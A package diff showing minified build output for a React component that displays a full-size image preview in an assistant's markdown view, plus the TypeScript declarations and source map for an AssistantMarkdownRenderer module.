+			"aria-label": v("markdown.closePreview", "Close image preview"),
+			className: "absolute right-4 top-4 flex size-9 items-center justify-center rounded-full border border-border-subtle bg-bg-surface text-text-secondary transition-colors hover:text-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
+			"data-testid": "assistant-markdown-image-close",
+			children: /* @__PURE__ */ l(s, { className: "size-4" })
+		}), /* @__PURE__ */ u("figure", {
+			className: "flex max-h-full min-w-0 flex-col items-center gap-2",
+			children: [/* @__PURE__ */ l("img", {
+				src: h,
+				alt: k,
+				referrerPolicy: "no-referrer",
+				onError: () => {
+					b(!0), M();
+				},
+				className: "max-h-[80vh] max-w-full rounded-lg object-contain",
+				"data-testid": "assistant-markdown-image-full"
+			}), k && /* @__PURE__ */ l("figcaption", {
+				className: "max-w-xl text-center text-xs text-text-secondary",
+				children: k
+			})]
+		})]
+	}), document.body)] });
+};
+//#endregion
+export { h as AssistantMarkdownImage, p as imageHostLabel, f as isRemoteImageSrc };

package/dist/shared/assistant/ui/AssistantMarkdownRenderer.d.ts

@@ -0,0 +1,10 @@
+import { FC } from 'react';
+import { Options } from 'react-markdown';
+interface Props {
+    content: string;
+}
+/** @internal Exported for unit tests; not part of the module's public surface. */
+export declare const assistantUrlTransform: Options["urlTransform"];
+export declare const AssistantMarkdownRenderer: FC<Props>;
+export {};
+//# sourceMappingURL=AssistantMarkdownRenderer.d.ts.map

package/dist/shared/assistant/ui/AssistantMarkdownRenderer.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"AssistantMarkdownRenderer.d.ts","sourceRoot":"","sources":["../../../../src/shared/assistant/ui/AssistantMarkdownRenderer.tsx"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAkCG;AAEH,OAAO,EAAY,KAAK,EAAE,EAAkB,MAAM,OAAO,CAAC;AAC1D,OAAiB,EAIf,KAAK,OAAO,EACb,MAAM,gBAAgB,CAAC;AAQxB,UAAU,KAAK;IACb,OAAO,EAAE,MAAM,CAAC;CACjB;AAqDD,kFAAkF;AAClF,eAAO,MAAM,qBAAqB,EAAE,OAAO,CAAC,cAAc,CAWzD,CAAC;AAkQF,eAAO,MAAM,yBAAyB,EAAE,EAAE,CAAC,KAAK,CAiB/C,CAAC"}